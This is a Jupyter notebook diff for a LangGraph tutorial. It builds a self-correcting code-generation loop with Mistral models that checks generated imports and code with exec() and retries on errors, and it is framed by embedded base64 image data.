mokQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAoEJC8KoCxmQABAgQIECBAgAABAgQIECBAgAABAgQIECBAoHwByavyzdVIgAABAgQIECBAgAABAgQIECBAgAABAgQIECBQICB5VQBjMwECBAgQIECAAAECBAgQIECAAAECBAgQIECAQPkCklflm6uRAAECBAgQIECAAAECBAgQIECAAAECBAgQIECgQEDyqgDGZgIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgfIFJK/KN1cjAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIBAgYDkVQGMzQQIECBAgAABAgQIECBAgAABAgQIECBAgAABAuULSF6Vb65GAgQIECBAgAABAgQIECBAgAABAgQIECBAgACBAgHJqwIYmwkQIECAAAECBAgQIECAAAECBAgQIECAAAECBMoXkLwq31yNBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBQKSVwUwNhMgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECJQvIHlVvrkaCRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECgQkrwpgbCZAgAABAgQIECBAgAABAgQIECBAgAABAgQIEChfQPKqfHM1EiBAgAABAgQIECBAgAABAgQIECBAgAABAgQIFAhIXhXA2EyAAAECBAgQIECAAAECBAgQIECAAAECBAgQIFC+gORV+eZqJECAAAECBAgQIECAAAECBAgQIECAAAECBAgQKBCQvCqAsZkAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKB8Acmr8s3VSIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgUCAgeVUAYzMBAgQIECBAgAABAgQIECBAgAABAgQIECBAgED5ApJX5ZurkQABAgQIECBAgAABAgQIECBAgAABAgQIECBAoEBA8qoAxmYCBAgQIECAAAECBAgQIECAAAECBAgQIECAAIHyBSSvyjdXIwECBAgQIECAAAECBAgQIECAAAECBAgQIECAQIGA5FUBjM0ECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQLlC0helW+uRgIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgQIByasCGJsJECBAgAABAgQIECBAgAABAgQIECBAgAABAgTKF5C8Kt9cjQQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgUCklcFMDYTIECAAAECBAgQIECAAAECBAgQIECAAAECBAiULyB5Vb65GgkQIECAAAECBAgQIECAAAECBAgQIECAAAECBAoEJK8KYGwmQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAoX0DyqnxzNRIgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBQISF4VwNhMgAABAgQIECBAgAABAgQIECBAgAABAgQIECBQvoDkVfnmaiRAgAABAgQIECBAgAABAgQIECBAgAABAgQIECgQkLwqgLGZAAECBAgQIECAAAECBAgQIECAAAECBAgQIECgfAHJq/LN1UiAAAECBAgQIECAAAECBAgQIECAAAECBAgQIFAgIHlVAGMzAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIBA+QKSV+Wbq5EAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKBAQPKqAMZmAgQIECBAgAABAgQIECBAgAABAgQIECBAgACB8gUkr8o3VyMBAgQIECBAgAABAgQIECBAgAABAgQIECBAgECBgORVAYzNBAgQIECAAAECBAgQIECAAAECBAgQIECAAAEC5QtIXpVvrkYCBAgQIECAAAECBAgQIECAAAECBAgQIECAAIECAcmrAhibCRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIEyheQvCrfXI0ECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIFApJXBTA2EyBAgAABAgQIECBAgAABAgQIECBAgAABAgQIlC8geVW+uRoJECBAgAABAgQIECBAgAABAgQIECBAgAABAgQKBCSvCmBsJkCAAAECBAgQIECAAAECBAgQIECAAAECBAgQKF9A8qp8czUSIECAAAECBAgQIECAAAECBAgQIECAAAECBAgUCEheFcDYTIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgUL6A5FX55mokQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAoEJC8KoCxmQABAgQIECBAgAABAgQIECBAgAABAgQIECBAoHwByavyzdVIgAABAgQIECBAgAABAgQIECBAgAABAgQIECBQICB5VQBjMwECBAgQIECAAAECBAgQIECAAAECBAgQIECAQPkCklflm6uRAAECBAgQIECAAAECBAgQIECAAAECBAgQIECgQEDyqgDGZgIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgfIFJK/KN1cjAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIBAgYDkVQGMzQQIECBAgAABAgQIECBAgAABAgQIECBAgAABAuULSF6Vb65GAgQIECBAgAABAgQIECBAgAABAgQIECBAgACBAgHJqwIYmwkQIECAAAECBAgQIECAAAECBAgQIECAAAECBMoXkLwq31yNBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBQKSVwUwNhMgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECJQvIHlVvrkaCRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECgQkrwpgbCZAgAABAgQIECBAgAABAgQIECBAgAABAgQIEChf4P8A8dBinrCa6mIAAAAASUVORK5CYII=" + } + }, + "cell_type": "markdown", + "id": "6101c9d6-b7d1-46af-afab-47d05bfadeae", + "metadata": {}, + "source": [ + "# Code generation with self-correction\n", + "\n", + "AlphaCodium presented an approach for code generation that uses control flow.\n", + "\n", + "Main idea: [construct an answer to a coding question iteratively.](https://x.com/karpathy/status/1748043513156272416?s=20). \n", + "\n", + "[AlphaCodium](https://github.com/Codium-ai/AlphaCodium) iteravely tests and improves an answer on public and AI-generated tests for a particular question. \n", + "\n", + "We will implement some of these ideas from scratch using [LangGraph](https://langchain-ai.github.io/langgraph/):\n", + "\n", + "1. We show how to route user questions to different types of documentation\n", + "2. We we will show how to perform inline unit tests to confirm imports and code execution work\n", + "3. We will show how to use LangGraph to orchestrate this\n", + "\n", + "![Screenshot 2024-05-23 at 2.17.51 PM.png](attachment:15d3ac32-cdf3-4800-a30c-f26d828d69c8.png)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e501686f-323f-4b87-8f9c-8ba89133078b", + "metadata": {}, + "outputs": [], + "source": [ + "! pip install -U langchain_community langchain-mistralai langchain langgraph" + ] + }, + { + "cell_type": "markdown", + "id": "9ef4fb67-113a-4b88-9f93-7e3a95cee035", + "metadata": {}, + "source": [ + "### LLM\n", + "\n", + "We'll use the Mistral API and `Codestral` instruct model, which support tool use!" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "982e4609-86e4-4934-828f-e03d89c20393", + "metadata": {}, + "outputs": [], + "source": [ + "import os\n", + "\n", + "os.environ[\"TOKENIZERS_PARALLELISM\"] = \"true\"\n", + "mistral_api_key = os.getenv(\"MISTRAL_API_KEY\") # Ensure this is set" + ] + }, + { + "cell_type": "markdown", + "id": "6a20a3eb-6dc5-4a61-9705-9daf68172c0b", + "metadata": {}, + "source": [ + "### Tracing\n", + "\n", + "Optionally, we'll use LangSmith for tracing." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "37b172d2-3a9d-49a8-898c-22ed0cb45c88", + "metadata": {}, + "outputs": [], + "source": [ + "os.environ[\"LANGCHAIN_TRACING_V2\"] = \"true\"\n", + "os.environ[\"LANGCHAIN_ENDPOINT\"] = \"https://api.smith.langchain.com\"\n", + "os.environ[\"LANGCHAIN_API_KEY\"] = \"\"\n", + "os.environ[\"LANGCHAIN_PROJECT\"] = \"Mistral-code-gen-testing\"" + ] + }, + { + "cell_type": "markdown", + "id": "d3a3dca9-4485-4ae5-aa87-cd1f02bad8b9", + "metadata": {}, + "source": [ + "## Code Generation\n", + "\n", + "Test with structured output." + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "a188c8ca-c053-4e6d-b7af-38a3b6b371c7", + "metadata": {}, + "outputs": [], + "source": [ + "# Select LLM\n", + "from langchain_core.prompts import ChatPromptTemplate\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "from langchain_mistralai import ChatMistralAI\n", + "\n", + "mistral_model = \"mistral-large-latest\"\n", + "llm = ChatMistralAI(model=mistral_model, temperature=0)\n", + "\n", + "# Prompt\n", + "code_gen_prompt_claude = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\n", + " \"system\",\n", + " \"\"\"You are a coding assistant. Ensure any code you provide can be executed with all required imports and variables \\n\n", + " defined. Structure your answer: 1) a prefix describing the code solution, 2) the imports, 3) the functioning code block.\n", + " \\n Here is the user question:\"\"\",\n", + " ),\n", + " (\"placeholder\", \"{messages}\"),\n", + " ]\n", + ")\n", + "\n", + "\n", + "# Data model\n", + "class code(BaseModel):\n", + " \"\"\"Code output\"\"\"\n", + "\n", + " prefix: str = Field(description=\"Description of the problem and approach\")\n", + " imports: str = Field(description=\"Code block import statements\")\n", + " code: str = Field(description=\"Code block not including import statements\")\n", + " description = \"Schema for code solutions to questions about LCEL.\"\n", + "\n", + "\n", + "# LLM\n", + "code_gen_chain = llm.with_structured_output(code, include_raw=False)" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "9fc0290d-5a04-4514-8664-91f9dbf2da7b", + "metadata": {}, + "outputs": [], + "source": [ + "question = \"Write a function for fibonacci.\"\n", + "messages = [(\"user\", question)]" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "id": "973281bd-e74b-4386-98c6-210af5e31982", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "code(prefix='A function to calculate the nth Fibonacci number.', imports='', code='def fibonacci(n):\\n if n <= 0:\\n return \"Input should be positive integer\"\\n elif n == 1:\\n return 0\\n elif n == 2:\\n return 1\\n else:\\n a, b = 0, 1\\n for _ in range(2, n):\\n a, b = b, a + b\\n return b', description='Schema for code solutions to questions about LCEL.')" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Test\n", + "result = code_gen_chain.invoke(messages)\n", + "result" + ] + }, + { + "cell_type": "markdown", + "id": "4235eb2d-f5b3-4cd0-bbb1-a889eb5564d7", + "metadata": {}, + "source": [ + "## State" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "183d77b8-f180-4815-b39f-8ef507ec0534", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import Annotated, TypedDict\n", + "\n", + "from langgraph.graph.message import AnyMessage, add_messages\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " error : Binary flag for control flow to indicate whether test error was tripped\n", + " messages : With user question, error messages, reasoning\n", + " generation : Code solution\n", + " iterations : Number of tries\n", + " \"\"\"\n", + "\n", + " error: str\n", + " messages: Annotated[list[AnyMessage], add_messages]\n", + " generation: str\n", + " iterations: int" + ] + }, + { + "cell_type": "markdown", + "id": "55043d78-c012-4280-bc8b-259f04a29cb4", + "metadata": {}, + "source": [ + "## Graph" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "14bc89d1-3ca6-4847-a048-1803e0e4600e", + "metadata": {}, + "outputs": [], + "source": [ + "import uuid\n", + "\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "\n", + "### Parameters\n", + "max_iterations = 3\n", + "\n", + "\n", + "### Nodes\n", + "def generate(state: GraphState):\n", + " \"\"\"\n", + " Generate a code solution\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation\n", + " \"\"\"\n", + "\n", + " print(\"---GENERATING CODE SOLUTION---\")\n", + "\n", + " # State\n", + " messages = state[\"messages\"]\n", + " iterations = state[\"iterations\"]\n", + "\n", + " # Solution\n", + " code_solution = code_gen_chain.invoke(messages)\n", + " messages += [\n", + " (\n", + " \"assistant\",\n", + " f\"Here is my attempt to solve the problem: {code_solution.prefix} \\n Imports: {code_solution.imports} \\n Code: {code_solution.code}\",\n", + " )\n", + " ]\n", + "\n", + " # Increment\n", + " iterations = iterations + 1\n", + " return {\"generation\": code_solution, \"messages\": messages, \"iterations\": iterations}\n", + "\n", + "\n", + "def code_check(state: GraphState):\n", + " \"\"\"\n", + " Check code\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, error\n", + " \"\"\"\n", + "\n", + " print(\"---CHECKING CODE---\")\n", + "\n", + " # State\n", + " messages = state[\"messages\"]\n", + " code_solution = state[\"generation\"]\n", + " iterations = state[\"iterations\"]\n", + "\n", + " # Get solution components\n", + " imports = code_solution.imports\n", + " code = code_solution.code\n", + "\n", + " # Check imports\n", + " try:\n", + " exec(imports)\n", + " except Exception as e:\n", + " print(\"---CODE IMPORT CHECK: FAILED---\")\n", + " error_message = [\n", + " (\n", + " \"user\",\n", + " f\"Your solution failed the import test. Here is the error: {e}. Reflect on this error and your prior attempt to solve the problem. (1) State what you think went wrong with the prior solution and (2) try to solve this problem again. Return the FULL SOLUTION. Use the code tool to structure the output with a prefix, imports, and code block:\",\n", + " )\n", + " ]\n", + " messages += error_message\n", + " return {\n", + " \"generation\": code_solution,\n", + " \"messages\": messages,\n", + " \"iterations\": iterations,\n", + " \"error\": \"yes\",\n", + " }\n", + "\n", + " # Check execution\n", + " try:\n", + " combined_code = f\"{imports}\\n{code}\"\n", + " print(f\"CODE TO TEST: {combined_code}\")\n", + " # Use a shared scope for exec\n", + " global_scope = {}\n", + " exec(combined_code, global_scope)\n", + " except Exception as e:\n", + " print(\"---CODE BLOCK CHECK: FAILED---\")\n", + " error_message = [\n", + " (\n", + " \"user\",\n", + " f\"Your solution failed the code execution test: {e}) Reflect on this error and your prior attempt to solve the problem. (1) State what you think went wrong with the prior solution and (2) try to solve this problem again. Return the FULL SOLUTION. Use the code tool to structure the output with a prefix, imports, and code block:\",\n", + " )\n", + " ]\n", + " messages += error_message\n", + " return {\n", + " \"generation\": code_solution,\n", + " \"messages\": messages,\n", + " \"iterations\": iterations,\n", + " \"error\": \"yes\",\n", + " }\n", + "\n", + " # No errors\n", + " print(\"---NO CODE TEST FAILURES---\")\n", + " return {\n", + " \"generation\": code_solution,\n", + " \"messages\": messages,\n", + " \"iterations\": iterations,\n", + " \"error\": \"no\",\n", + " }\n", + "\n", + "\n", + "### Conditional edges\n", + "\n", + "\n", + "def decide_to_finish(state: GraphState):\n", + " \"\"\"\n", + " Determines whether to finish.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Next node to call\n", + " \"\"\"\n", + " error = state[\"error\"]\n", + " iterations = state[\"iterations\"]\n", + "\n", + " if error == \"no\" or iterations == max_iterations:\n", + " print(\"---DECISION: FINISH---\")\n", + " return \"end\"\n", + " else:\n", + " print(\"---DECISION: RE-TRY SOLUTION---\")\n", + " return \"generate\"\n", + "\n", + "\n", + "### Utilities\n", + "\n", + "\n", + "def _print_event(event: dict, _printed: set, max_length=1500):\n", + " current_state = event.get(\"dialog_state\")\n", + " if current_state:\n", + " print(\"Currently in: \", current_state[-1])\n", + " message = event.get(\"messages\")\n", + " if message:\n", + " if isinstance(message, list):\n", + " message = message[-1]\n", + " if message.id not in _printed:\n", + " msg_repr = message.pretty_repr(html=True)\n", + " if len(msg_repr) > max_length:\n", + " msg_repr = msg_repr[:max_length] + \" ... (truncated)\"\n", + " print(msg_repr)\n", + " _printed.add(message.id)" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "2dff2209-44c7-4e2c-b607-ba6675f9e45f", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.checkpoint.memory import InMemorySaver\n", + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "builder = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "builder.add_node(\"generate\", generate) # generation solution\n", + "builder.add_node(\"check_code\", code_check) # check code\n", + "\n", + "# Build graph\n", + "builder.add_edge(START, \"generate\")\n", + "builder.add_edge(\"generate\", \"check_code\")\n", + "builder.add_conditional_edges(\n", + " \"check_code\",\n", + " decide_to_finish,\n", + " {\n", + " \"end\": END,\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "\n", + "memory = InMemorySaver()\n", + "graph = builder.compile(checkpointer=memory)" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "id": "d4bb21cd-af20-4d4d-89ff-384db034b7c3", + "metadata": {}, + "outputs": [ + { + "data": { + "image/jpeg": "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